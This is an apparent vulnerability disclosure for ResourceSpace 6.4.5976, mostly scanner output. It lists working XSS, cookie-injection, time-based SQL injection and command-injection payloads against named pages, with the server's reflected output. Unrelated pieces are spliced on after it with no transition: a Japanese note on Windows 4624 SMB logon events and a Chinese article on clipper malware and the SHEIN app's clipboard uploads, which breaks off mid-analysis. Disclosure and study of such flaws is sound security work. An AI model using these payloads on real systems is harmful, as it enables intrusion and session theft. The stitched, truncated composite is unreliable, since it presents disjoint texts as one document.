Title: ResourceSpace Multiple Cross Site Scripting, and HTML and SQL
Injection Vulnerabilities

Author: Adler Freiheit
Discovered: 11 June 2014
Updated: 11 December 2014
Published: 11 December 2014
Vendor: Montala Limited
Vendor url: www.resourcespace.org
Software: ResourceSpace Digital Asset Management Software
Versions: 6.4.5976 and prior
Status: Unpatched
Vulnerable scripts:
/pages/themes.php
/pages/preview.php
/pages/help.php
/pages/search.php
/pages/user_password.php
/pages/user_request.php
(and probably others)

Description:
ResourceSpace is vulnerable to Cross-Site Scripting, and HTML and SQL
injection attacks, and insecure cookie handling. The scripts fail to
properly sanitize user-supplied input, check the network protocol used
to access the site.

Vulnerability: SC­1414
Name: Cross Site Scripting (XSS)
Type: Application
Asset Group: Multiple
Source: SureCloud
IP Address:
Status: Open
Hostname:
Last Seen: 6 Oct 2014
Service: tcp/https:443
Severity: 4
Risk: 40
CVSS Base Score: 5.8 ( Exploit: 8.6 Impact: 4.9 )
Resolution Effort: 3

Description:
 This web application is vulnerable to Cross Site Scripting (XSS).
XSS is caused when an application echoes user controllable input data
back to the browser without first sanitising or escaping dangerous
characters. Unescaped strings are then interpreted or executed by the
browser as script, just as if they had originated from the web server.
Malicious script is sent by the attacker via the vulnerable web
application and executed on the victims browser, within the context of
that user and may be used to steal session information, redirect users
to a malicious site, and even steal credentials in a Phishing attack.
Ref: http://www.owasp.org/index.php/Cross_Site_Scripting
http://cwe.mitre.org/data/definitions/79.html

Solution:
 Validate all user controllable input data (hidden fields, URL
parameters, Cookie values, HTTP headers etc) against expected Type,
Length and where possible, Format and Range characteristics. Reject
any data that fails validation.
Sanitise all user controllable input data (hidden fields, URL
parameters, Cookie values, HTTP headers etc) by converting potentially
dangerous characters (listed below) into HTML entities such as > < etc
using output encoding.
By combining proper input validation with effective input sanitisation
and output encoding, Cross Site Scripting vulnerabilities will be
mitigated.
[1] <> (triangular parenthesis)
[2] " (quotation mark)
[3] ' (single apostrophe)
[4] % (percent sign)
[5] ; (semicolon)
[6] () (parenthesis)
[7] & (ampersand sign)
[8] + (plus sign)
[9] / (forward slash)
[10] | (pipe)
[11] [] (square brackets)
[12] : (colon)

Information
URI: /pages/preview.php
Parameter: sort (GET)
Other Info: "><SCRIPT>alert('SureApp XSS');</SCRIPT>

Vulnerability: 44967
Name: CGI Generic Command Execution (time­based)
Type: CGI abuses
Asset Group:  Multiple
Source: SureCloud Vulnerability Scan
IP Address
Status: Open
Hostname:
Last Seen: 11 Nov 2014
Service: tcp/www:443
Severity: 4
Risk: 40
CVSS Base Score: 7.5

Description:
 The remote web server hosts CGI scripts that fail to adequately
sanitize request strings. By leveraging this issue, an attacker may be
able to execute arbitrary commands on the remote host.
Note that this script uses a time­based detection method which is less
reliable than the basic method.

Solution:
 Restrict access to the vulnerable application. Contact the
vendor for a patch or upgrade.

Information:
 Using the GET HTTP method, Nessus found that:

+ The following resources may be vulnerable to arbitrary command
execution (time based) :
+ The 'lastlevelchange' parameter of the /pages/themes.php CGI :

/pages/themes.php?lastlevelchange=%20;%20x%20%7C%7C%20sleep%203%20%26
/pages/themes.php?lastlevelchange=%7C%7C%20sleep%203%20%26
/pages/themes.php?lastlevelchange=%26%20ping%20­n%203%20127.0.0.1%20%26
/pages/themes.php?lastlevelchange=x%20%7C%7C%20ping%20­n%203%20127.0.0.1%20%26
/pages/themes.php?lastlevelchange=%7C%7C%20ping%20­n%203%20127.0.0.1%20%26
/pages/themes.php?lastlevelchange=%7C%20ping%20­n%203%20127.0.0.1%20%7C

References:
CWE: 20
CWE: 713
CWE: 722
CWE: 727
CWE: 74
CWE: 77
CWE: 78

–-----------------------------------------------------------------------------------------------------
Vulnerability: 43160
Name: CGI Generic SQL Injection (blind, time based)
Type: CGI abuses
Asset Group: Multiple
Source: SureCloud Vulnerability Scan
IP Address:
Status: Open
Hostname:
Last Seen: 11 Nov 2014
Service: tcp/www:443
Severity: 4
Risk: 40
CVSS Base Score: 7.5

Description
 By sending specially crafted parameters to one or more CGI scripts
hosted on the remote web server, Nessus was able to get a slower
response, which suggests that it may have been able to modify the
behavior of the application and directly access the underlying
database.
An attacker may be able to exploit this issue to bypass
authentication, read confidential data, modify the remote database, or
even take control of the remote operating system.
Note that this script is experimental and may be prone to false positives.

Solution:
 Modify the affected CGI scripts so that they properly escape arguments.

Information:
 Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to blind SQL injection
(time based) :
+ The 'lastlevelchange' parameter of the /pages/themes.php CGI :
/pages/themes.php?lastlevelchange='%20AND%20SLEEP(3)='
/pages/themes.php?lastlevelchange='%20AND%200%20IN%20(SELECT%20SLEEP(3))%20­­%20
/pages/themes.php?lastlevelchange=';WAITFOR%20DELAY%20'00:00:3';
/pages/themes.php?lastlevelchange=');WAITFOR%20DELAY%20'00:00:3';
/pages/themes.php?lastlevelchange='));WAITFOR%20DELAY%20'00:00:3';
/pages/themes.php?lastlevelchange=';SELECT%20pg_sleep(3);
/pages/themes.php?lastlevelchange=');SELECT%20pg_sleep(3);
/pages/themes.php?lastlevelchange='));SELECT%20pg_sleep(3);

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)
/pages/themes.php?lastlevelchange='%20AND%20SLEEP(3)='

References
CWE: 20
CWE: 713
CWE: 722
CWE: 727
CWE: 751
CWE: 77
CWE: 801
CWE: 810
CWE: 89

–---------------------------------------------------------------------------------------------------------------

Vulnerability: 55903
Name: CGI Generic XSS (extended patterns)
Type: CGI abuses : XSS
Asset Group: Multiple
Source: SureCloud Vulnerability Scan
IP Address:
Status: Open
Hostname
Last Seen: 11 Nov 2014
Service: tcp/www:443
Severity: 3
Risk: 30
CVSS Base Score: 4.3

Description
 The remote web server hosts one or more CGI scripts that fail to
adequately sanitize request strings with malicious JavaScript. By
leveraging this issue, an attacker may be able to cause arbitrary HTML
and script code to be executed in a user's browser within the security
context of the affected site. These XSS vulnerabilities are likely to
be 'non­persistent' or 'reflected'.

Solution
 Restrict access to the vulnerable application. Contact the vendor for
a patch or upgrade.

Information
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to cross­site scripting+
The 'sort' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=504%20onerror="alert(504);
­­­­­­­­ output ­­­­­­­­
(extended patterns) :
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=504 onerror="alert(504);&archive=&k=">< Back to resource view</
a>
­­­­­­­­­­­­­­­­­­­­­­­­
/pages/preview.php?sort=&sort=504%20onerror="alert(504);
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=504 onerror="alert(504);&archive=&k=">< Back to resource view</
a>
­­­­­­­­­­­­­­­­­­­­­­­­
+ The 'order_by' parameter of the /pages/preview.php CGI :
/pages/preview.php?order_by=504%20onerror="alert(504);
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=504 o
nerror="alert(504);&sort=DESC&archive=&k=">< Back to resource vi
ew</a>
­­­­­­­­­­­­­­­­­­­­­­­­
/pages/preview.php?order_by=&order_by=504%20onerror="alert(504);
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=504 o
nerror="alert(504);&sort=DESC&archive=&k=">< Back to resource vi
ew</a>
­­­­­­­­­­­­­­­­­­­­­­­­
+ The 'sort' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=504%20onerror="alert(504);&search=&order_by=&fro
m=
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=504 onerror="alert(504);&archive=&k=">< Back to resource view</
a>
­­­­­­­­­­­­­­­­­­­­­­­­
/pages/preview.php?sort=&sort=504%20onerror="alert(504);&search=&order_b
y=&from=
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=504 onerror="alert(504);&archive=&k=">< Back to resource view</
a>
­­­­­­­­­­­­­­­­­­­­­­­­
+ The 'order_by' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=&search=&order_by=504%20onerror="alert(504);&fro
m=
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=504 o
nerror="alert(504);&sort=&archive=&k=">< Back to resource view</
Tonbridge & Malling Borough Council
 Vulnerabilities Report | 5
a>
­­­­­­­­­­­­­­­­­­­­­­­­
/pages/preview.php?sort=&search=&order_by=&order_by=504%20onerror="alert
(504);&from=
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=504 o
nerror="alert(504);&sort=&archive=&k=">< Back to resource view</
a>
­­­­­­­­­­­­­­­­­­­­­­­­
Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)
/pages/preview.php?sort=504%20onerror="alert(504);
/pages/preview.php?order_by=504%20onerror="alert(504);
References
CWE: 116
CWE: 20
CWE: 442
CWE: 692
CWE: 712
CWE: 722
CWE: 725
CWE: 74
CWE: 751
CWE: 79
CWE: 80
CWE: 801
CWE: 81
CWE: 811
CWE: 83
CWE: 86

–----------------------------------------------------------------------------------------------------

Vulnerability: 49067
Name: CGI Generic HTML Injections (quick test)
Type: CGI abuses : XSS
 Asset Group: Multiple
Source: SureCloud Vulnerability Scan
IP Address:
Status: Open
Hostname
Last Seen: 11 Nov 2014
Service: tcp/www:443
Severity: 3
Risk: 30
CVSS Base Score: 5.0

Description
The remote web server hosts CGI scripts that fail to adequately sanitize
request strings with malicious JavaScript. By leveraging this issue,
an attacker may be able to cause arbitrary HTML to be executed
inuser's browser within the security context of the affected site.
The remote web server may be vulnerable to IFRAME injections or
cross­site scripting attacks :
­ IFRAME injections allow 'virtual defacement' that
might scare or anger gullible users. Such injections
are sometimes implemented for 'phishing' attacks.
­ XSS are extensively tested by four other scripts.
­ Some applications (e.g. web forums) authorize a subset
of HTML without any ill effect. In this case, ignore
this warning.

Solution
Either restrict access to the vulnerable application or contact the
vendor for an update.

Information
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to HTML injection :
+ The 'sort' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=<"jfunqd%20>
­­­­­­­­ output ­­­­­­­­
a
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=<"jfunqd >&archive=&k=">< Back to resource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
+ The 'order_by' parameter of the /pages/preview.php CGI :
/pages/preview.php?order_by=<"jfunqd%20>
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=<"jfu
nqd >&sort=DESC&archive=&k=">< Back to resource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
+ The 'sort' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=<"jfunqd%20>&search=&order_by=&from=
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=<"jfunqd >&archive=&k=">< Back to resource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
+ The 'order_by' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=&search=&order_by=<"jfunqd%20>&from=
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=<"jfu
nqd >&sort=&archive=&k=">< Back to resource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)
/pages/preview.php?sort=<"jfunqd%20>
/pages/preview.php?order_by=<"jfunqd%20>

References
CWE: 80
CWE: 86

–---------------------------------------------------------------------------------------------------
Vulnerability: SC­1628
Name: SSL cookie without secure flag set
Type: Web Servers
Asset Group: Multiple
Source: SureCloud
IP Address:
Status: Open
Hostname:
Last Seen: 12 Nov 2014
Service: tcp/https:443
Severity: 3
Risk: 30
CVSS Base Score: 6.4 ( Exploit: 10.0 Impact: 4.9 )

Resolution Effort: 1
Description
 If the secure flag is not set, then the cookie will be transmitted in
clear­text if the user visits any non SSL
(HTTP) URLs within the cookie's scope.
Solution
 The secure flag should be set on all cookies that are used for
transmitting sensitive data when accessing
content over HTTPS.
If cookies are used to transmit session tokens, then areas of the
application that are accessed over HTTPS
should employ their own session handling mechanism, and the session
tokens used should never be
transmitted over unencrypted communications.
Information

URI: /pages/help.php
Other Info: thumbs=show; expires=Tue, 08­Aug­2017 01:53:11 GMT
URI: /pages/search.php
Other Info: display=thumbs; httponly
URI: /pages/themes.php
Other Info: saved_themes_order_by=name; httponly
URI: /pages/user_password.php
Other Info: starsearch=deleted; expires=Tue, 12­Nov­2013 01:53:08 GMT; httponly
URI: /pages/user_password.php
Other Info: starsearch=deleted; expires=Tue, 12­Nov­2013 01:54:30 GMT; httponly
URI: /pages/user_request.php
Other Info: starsearch=deleted; expires=Tue, 12­Nov­2013 01:53:07 GMT; httponly
URI: /pages/user_request.php
Other Info: starsearch=deleted; expires=Tue, 12­Nov­2013 01:54:25 GMT; httponly

–-------------------------------------------------------------------------------

Vulnerability: 44136
Name: CGI Generic Cookie Injection Scripting
Type: CGI abuses
Asset Group: Multiple
Source: SureCloud Vulnerability Scan
IP Address:
Status: Open
Hostname:
Last Seen: 11 Nov 2014
Service: tcp/www:443
Severity: 3
Risk: 30
CVSS Base Score: 5.0

Description
The remote web server hosts at least one CGI script that fails to
adequately sanitize request strings with malicious JavaScript.
By leveraging this issue, an attacker may be able to inject arbitrary
cookies. Depending on the structure of the web application, it may be
possible to launch a 'session fixation' attack using this mechanism.
Please note that :
­ Nessus did not check if the session fixation attack is
feasible.
­ This is not the only vector of session fixation.

Solution
Restrict access to the vulnerable application. Contact the vendor
for a patch or upgrade.

Information
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to cookie manipulation :
+ The 'sort' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=<script>document.cookie="testshay=5812;"</script
>
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=<script>document.cookie="testshay=5812;"</script>&archive=&k="><&nbs
p;Back to resource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
/pages/preview.php?sort=&sort=<script>document.cookie="testshay=5812;"</
script>
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=<script>document.cookie="testshay=5812;"</script>&archive=&k="><&nbs
p;Back to resource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
References
CWE: 472
CWE: 642
CWE: 715
CWE: 722

–--------------------------------------------------------------------------------------------

Vulnerability: 39466
Name: CGI Generic XSS (quick test)
Type: CGI abuses : XSS
Asset Group: Multiple
Source: SureCloud Vulnerability Scan
IP Address:
Status: Open
Hostname:
Last Seen: 11 Nov 2014
Service: tcp/www:443
Severity: 3
Risk: 30
CVSS Base Score: 5.0

Description
The remote web server hosts CGI scripts that fail to adequately sanitize
request strings with malicious JavaScript. By leveraging this issue,
an attacker may be able to cause arbitrary HTML and script code
to be executed in a user's browser within the security context of the
affected site.
These XSS are likely to be 'non persistent' or 'reflected'.
Solution
Restrict access to the vulnerable application. Contact the vendor
for a patch or upgrade.

Information
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to cross­site scripting
(quick+ The 'order_by' parameter of the /pages/preview.php CGI :
/pages/preview.php?order_by=<IMG%20SRC="javascript:alert(104);">
­­­­­­­­ output ­­­­­­­­
test) :
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=<IMG
SRC="javascript:alert(104);">&sort=DESC&archive=&k=">< Back to r
esource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
/pages/preview.php?order_by=&order_by=<IMG%20SRC="javascript:alert(104);
">
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=<IMG
SRC="javascript:alert(104);">&sort=DESC&archive=&k=">< Back to r
esource view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
+ The 'sort' parameter of the /pages/preview.php CGI :
/pages/preview.php?sort=<IMG%20SRC="javascript:alert(104);">
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=<IMG SRC="javascript:alert(104);">&archive=&k=">< Back to resou
rce view</a>
­­­­­­­­­­­­­­­­­­­­­­­­
/pages/preview.php?sort=&sort=<IMG%20SRC="javascript:alert(104);">
­­­­­­­­ output ­­­­­­­­
<p style="margin:7px 0 7px 0;padding:0;"><a class="enterLink" href="
/pages/view.php?ref=&search=&offset=&order_by=&sort
=<IMG SRC="javascript:alert(104);">&archive=&k=">< Back to resou
rce view</a>
­­­­­­­­­­­­­­­­­­­­­­­­

References
CWE: 116
CWE: 20
CWE: 442
CWE: 692
CWE: 712
CWE: 722
CWE: 725
CWE: 74
CWE: 751
CWE: 79
CWE: 80
CWE: 801
CWE: 81
CWE: 811
CWE: 83
CWE: 86

–--------------------------------------------------------------------------------------------------------------

Also issues to be aware of:

Vulnerability: SC­1629
Name: Cookie without HttpOnly flag set
Type: Web Servers
Asset Group: Multiple
Source: SureCloud
IP Address:
Status: Open
Hostname:
Last Seen: 12 Nov 2014
Service: tcp/https:443
Severity: 3
Risk: 30
CVSS Base Score: 6.4 ( Exploit: 10.0 Impact: 4.9 )
Resolution Effort: 1
Description
 When the HttpOnly attribute is set on a cookie, then the cookies
value cannot be read or set by client­side
JavaScript.
HttpOnly prevent certain client­side attacks, such as Cross Site
Scripting (XSS), from capturing the cookies
value via an injected script. When HttpOnly is set, script access to
document.cookie results in a blank string
being returned.
Solution
 HttpOnly can safely be set for all Cookie values, unless the
application has a specific need for Script access
to cookie contents (which is highly unusual).
Please note also that HttpOnly does not mitigate against all dangers
of Cross Site Scripting ­ any XSS
vulnerabilities identified must still be fixed.
Information
 URI: /pages/help.php
Other Info: thumbs=show; expires=Tue, 08­Aug­2017 01:53:11 GMT

–-------------------------------------------------------------------------------

Vulnerability: SC­1629
Name: Cookie without HttpOnly flag set
Type: Web Servers
Asset Group: Multiple
Source: SureCloud
IP Address:
Status: Open
Hostname:
Last Seen: 12 Nov 2014
Service: tcp/http:80
Severity: 3
Risk: 30
CVSS Base Score: 6.4 ( Exploit: 10.0 Impact: 4.9 )
Resolution Effort: 1

Description
 When the HttpOnly attribute is set on a cookie, then the cookies
value cannot be read or set by client­side JavaScript.
HttpOnly prevent certain client­side attacks, such as Cross Site
Scripting (XSS), from capturing the cookies value via an injected
script. When HttpOnly is set, script access to document.cookie results
in a blank string being returned.

Solution
HttpOnly can safely be set for all Cookie values, unless the
application has a specific need for Script access
to cookie contents (which is highly unusual).
Please note also that HttpOnly does not mitigate against all dangers
of Cross Site Scripting ­ any XSS vulnerabilities identified must
still be fixed.

Information
 URI: /pages/collection_share.php
Other Info: thumbs=show; expires=Tue, 08­Aug­2017 01:53:42 GMT
URI: /pages/contactsheet_settings.php
Other Info: thumbs=show; expires=Tue, 08­Aug­2017 01:53:38 GMT
URI: /pages/help.php
Other Info: thumbs=show; expires=Tue, 08­Aug­2017 01:53:05 GMT
URI: /pages/preview.php
Other Info: thumbs=hide; expires=Tue, 08­Aug­2017 01:57:55 GMT
URI: /pages/resource_email.php
Other Info: thumbs=show; expires=Tue, 08­Aug­2017 01:57:42 GMT
URI: /pages/view.php
Other Info: thumbs=show; expires=Tue, 08­Aug­2017 01:57:45 GMT
            

1。概要

1.1ケース

最初に2つの写真を見てみましょう。これらの2つの写真を見ると、これが成功したログインであること、そのタイプはネットワークログインを表す3であり、4624はほとんどの人の場合に成功することを意味します。それで、実際にそれはどうですか?ここには特定のあいまいさがあります。今日は、ここで詳細な詳細を同期します。xufu5o1mv024698.png cb0jpqygzn14699.png

1.2原則

ユーザーがSMBプロトコルを使用して接続すると、ユーザーにパスワードを求めると、匿名ユーザー(つまり、匿名ユーザー)を使用してSMBネットワークを接続し、ネットワークが成功した接続として記録されると使用します。次の条件により、このログが生成されます。

ログインユーザーは匿名です

ログインプロセスはNTLMSSPです

使用法プロトコルはNTLM V1です

ログインプロトコルはSMBです

2。テスト

2.1 SMB接続障害

qzjy14pyv4n4700.png

2.1.1ネットワーク名が見つからない/アクセス拒否

ネット使用を直接使用して、存在しないAAA $の接続を開始し、ネットワーク名が見つからないというエラーが報告されます。正味使用を使用すると、その接続が成功していないこともわかります。

しかし、ログを見てみましょう。ログインを成功させるために4624タイプ3のログを生成することがわかります。これは、匿名のユーザーがネットワークupupko4ilsn4701.png yocmwakq2ao4702.pngに正常にログインしたことを意味します

正しいディレクトリパスを使用しますが、ユーザーを入力しないと、エラーが報告され、アクセスが拒否されます。また、このステータスにより、匿名のユーザーが正常にログインします。タイプ3

03par42ttqq4703.png

2.1.2誤ったユーザー名またはパスワード

誤ったアカウントパスワードでログインすると、ユーザー名またはパスワードが正しくないと報告されます。

f1opbcqdi2v4704.png

この場合、ログに匿名のログイン成功ログはありませんが、4625ログが直接表示され、もちろんログインされたユーザー名も表示されます。

5lj0vdnromi4705.png

2.2 SMBログインに正常に

ログインに正しいアカウントの秘密を使用している場合、ログでどのように機能しますか?

タイプ3のログインが成功したことに加えて、4776(検証資格情報)と4672(ログイン許可割り当て)があります。

ltipnnp2nca4707.png 5ko44x0s35f4708.png

3。要約

攻撃者がSMBを使用して接続する場合、アクセスパスが存在しない場合、またはアカウントが存在しない場合、匿名ユーザー(匿名ユーザー)の4624ログが生成されます。

4624は、必ずしも攻撃者が正常にログインすることを意味するわけではありません。 IPフィールド、TargetUserフィールド、ユーザー、その他多くのフィールドを組み合わせて、ログコンテキストを調べる必要があります。システム認証は4624の高いアラームを生成することがあります(上記のフィールドは意味を表しますが、特定のフィールド名は複雑であり、明確に記憶することはできません)

1.png出於安全原因,在線加密貨幣錢包的地址由一長串字符組成。用戶傾向於使用剪貼板複製和粘貼地址,而不是由用戶通過鍵盤輸入錢包地址。一種名為“clipper”的惡意軟件利用了這一點。它攔截剪貼板的內容,並偷偷地用攻擊者想要破壞的內容替換它。在加密貨幣交易的情況下,受影響的用戶最終可能會將復制的錢包地址悄悄地切換到屬於攻擊者的地址。

這種危險形式的惡意軟件於2017 年首次在Windows 平台上傳播,並於2018 年夏季在陰暗的Android 應用商店中被發現。 2019 年2 月,在官方Android 應用商店Google Play 上首次出現了一個惡意竊取剪切板的程序。

安全研究人員發現一類潛伏在Google Play 商店中的Clipper 惡意軟件被殺毒軟件檢測為Android/Clipper.C 惡意程序,該惡意軟件模擬了一個名為MetaMask的合法服務。該惡意軟件的主要目的是竊取受害者的憑證和私鑰,以控制受害者的以太坊資金。但是,它也可以用屬於攻擊者的地址替換複製到剪貼板的比特幣或以太坊錢包地址。

為了減輕此類隱私風險,谷歌近年來對Android 進行了進一步改進,包括在應用程序訪問剪貼板時顯示toast 消息,並禁止應用程序獲取數據,除非它在前台主動運行。

前言安全研究人員發現,中國時尚電子零售商Shein 的Android 應用程序存在缺陷,允許從不知情的用戶那裡獲取剪貼板數據並將其傳輸到遠程服務器,受影響的用戶數量可能達到數百萬,因為Shein 的Android 應用程序在Google Play 商店中的下載量已超過1 億次。 Shein 原名ZZKKO,成立於2008 年,是一家總部位於新加坡的中國在線快時尚零售商。該應用程序目前的版本為9.0.0,在Google Play 商店中的下載量已達到上億次。該公司2021 年收入超過150 億美元,預計2022 年將超過200 億美元。

Microsoft 365 Defender 研究團隊表示,他們在2021 年12 月16 日發布的應用程序7.9.2 版本中發現了該問題。該問題已於2022 年5 月得到解決。

雖然微軟研究人員並未發現應用程序開發人員有任何惡意,但他們認為收集剪貼板數據對用戶正確使用該應用程序來說是不必要的。

Android 剪貼板的安全風險Android剪貼板最有趣的特點是它的全局可訪問性,也就是說,放在剪貼板上的所有內容都是公共的,設備上所有正在運行的應用程序都可以訪問,無需任何權限要求或用戶交互。 Android甚至允許應用程序通過向系統註冊一個回調監聽器來監控剪貼板上的數據更改。在桌面環境中,這不是一個嚴重的安全問題,因為它的剪貼板是用戶驅動的,一個窗口應該只在響應用戶[1]的命令時將數據傳輸到剪貼板或從剪貼板傳輸數據。

相比之下,Android將每個應用程序視為擁有不同特權的不同用戶。由於全局無保護訪問,各種用戶,即應用程序,都可以在Android剪貼板上任意操作,不受任何限制。更糟糕的是,移動設備的屏幕尺寸有限。首先,用戶更有可能在移動設備上複製和粘貼數據,以節省打字工作量。此外,在將內容從剪貼板粘貼到應用程序後,用戶可以看到的字符更少,從而減輕了攻擊者隱藏攻擊的工作量。攻擊者針對Android剪貼板的另一個優勢是在普通應用程序開發中缺乏安全考慮。

考慮到移動用戶經常使用剪貼板複製和粘貼敏感信息,如密碼或支付信息,剪貼板內容可能成為網絡攻擊的誘人目標。利用剪貼板可以使攻擊者收集目標信息並洩露有用數據。甚至存在攻擊者出於惡意目的劫持和替換剪貼板內容的示例,例如在用戶將復制的加密貨幣錢包地址粘貼到加密錢包應用程序或聊天消息之前修改它。此外,這些類型的攻擊濫用合法的系統功能而不是利用漏洞,使得問題更難以緩解。

微軟的安全團隊發現舊版本的SHEIN Android 應用程序會定期讀取Android 設備剪貼板的內容,如果存在特定模式,則會將剪貼板的內容髮送到遠程服務器。雖然我們並未具體了解該行為背後的任何惡意意圖,但我們評估認為該行為對於用戶在應用程序上執行任務而言並非必需。

SHEIN 的Android 應用程序在Google Play 商店發布,下載量超過1 億次。即使SHEIN 的剪貼板行為不涉及惡意,這個案例也凸顯了安裝的應用程序可能帶來的風險,包括那些非常受歡迎並從平台的官方應用程序商店獲得的應用程序。我們向Play 商店的運營商Google 公司報告了我們的發現,推動他們的Android 安全團隊展開調查。 2022 年5 月,谷歌通知我們,我們確認SHEIN 從應用程序中刪除了該行為。我們要感謝Google 的Android 安全團隊以及SHEIN 團隊為解決此問題所做的努力和協作。

在此博文中,我們詳細介紹了我們如何識別SHEIN 應用程序的剪貼板行為,以及Android 用戶如何保護自己免受基於剪貼板的攻擊。我們還與更大的安全社區分享這項研究,以強調協作在提高所有人安全性方面的重要性。

靜態和動態分析以下分析詳細說明了我們如何識別和驗證SHEIN 應用程序剪貼板行為的存在,我們分析的SHEIN 應用程序的版本是7.9.2 (SHA-256: ff07dc6e237acd19cb33e35c60cb2ae52c460aac76bc27116d8de76abec66c51 )。我們首先對應用程序進行了靜態分析,以確定對行為負責的相關代碼。然後,我們通過在檢測環境中運行該應用程序來執行動態分析以觀察代碼,包括它如何讀取剪貼板並將其內容髮送到遠程服務器。

2.png

圖1. 通過SHEIN 應用程序導致剪貼板訪問的調用鏈示例

識別代碼打開應用程序後,啟動器活動com.shein.user_service.welcome.WelcomeActivity擴展了com.zzkko.base.ui.BaseActivity類,該類在onResume回調中執行對iBaseActivityCallBack.h方法的調用,如下面第11 行所示:

3.png

圖2. com.zzkko.base.ui.BaseActivity 類在onResume 回調中執行對iBaseActivityCallBack.h方法的調用

com.zzkko.app.iBaseActivityCallBack是由com.zzkko.app.BaseActivityCallBack 實現的接口。上一次調用的方法h ,部分描述如下,在同一類中執行對方法o 的調用,如第16 行所示:

4.png

圖3. 方法h執行對同一類中方法o的調用

最後,在com.zzkko.app.BaseActivityCallBack.o方法中調用了com.zzkko.util.MarketClipboardPhaseLinker.f方法,如第2 行所示:

5.png

圖4. com.zzkko.app.BaseActivityCallBack.o方法調用com.zzkko.util.MarketClipboardPhaseLinker.f方法

方法com.zzkko.app.BaseActivityCallBack.f 的實現邏輯如下圖所示,檢查字符序列“$”和“://”是否存在於剪貼板文本中,如第6 行所示。如果兩者都存在,則調用同一類中的方法k,並將剪貼板文本作為參數提供,如第8行所示:

6.png

圖5. com.zzkko.app.BaseActivityCallBack.f方法檢查剪貼板中的“$”和“://”,將剪貼板文本作為參數提供給方法k

方法com.zzkko.app.BaseActivityCallBack.k啟動一個請求流,該請求流在BaseUrlConstant.APP_URL + “ /marketing/tinyurl/phrase ”處向服務器執行POST 請求,解析為https://api-service[.]shein[ .]com/marketing/tinyurl/phrase:

7.png

圖6. 方法com.zzkko.app.BaseActivityCallBack.k啟動一個請求流,它向位於BaseUrlConstant.APP_URL + “ /marketing/tinyurl/phrase ”的服務器執行POST 請求

由於應用程序的所有活動(用戶界面)都擴展了com.zzkko.base.ui.BaseActivity,因此只要用戶啟動新活動,例如通過啟動或恢復應用程序或在其中執行某些操作,就會觸發上述調用鏈應用程序。

驗證代碼的剪貼板行為為了驗證我們的靜態分析結果,我們對該應用程序進行了動態分析,該應用程序是我們從Google Play 商店安裝到運行Android 9 的三星設備上的。

我們使用Frida攔截對android.content.ClipboardManager.getText和com.zzkko.util.MarketClipboardPhaseLinker.f方法的調用,以分析應用程序的剪貼板行為。我們還使用Frida 繞過應用程序的內置證書,使我們能夠使用Burp Proxy分析網絡流量。

我們將設備剪貼板的內容設置為https://mybank[.]com/token=secretTokentransaction=100$並打開應用程序。

打開應用程序後,記錄了以下調用:

8.png

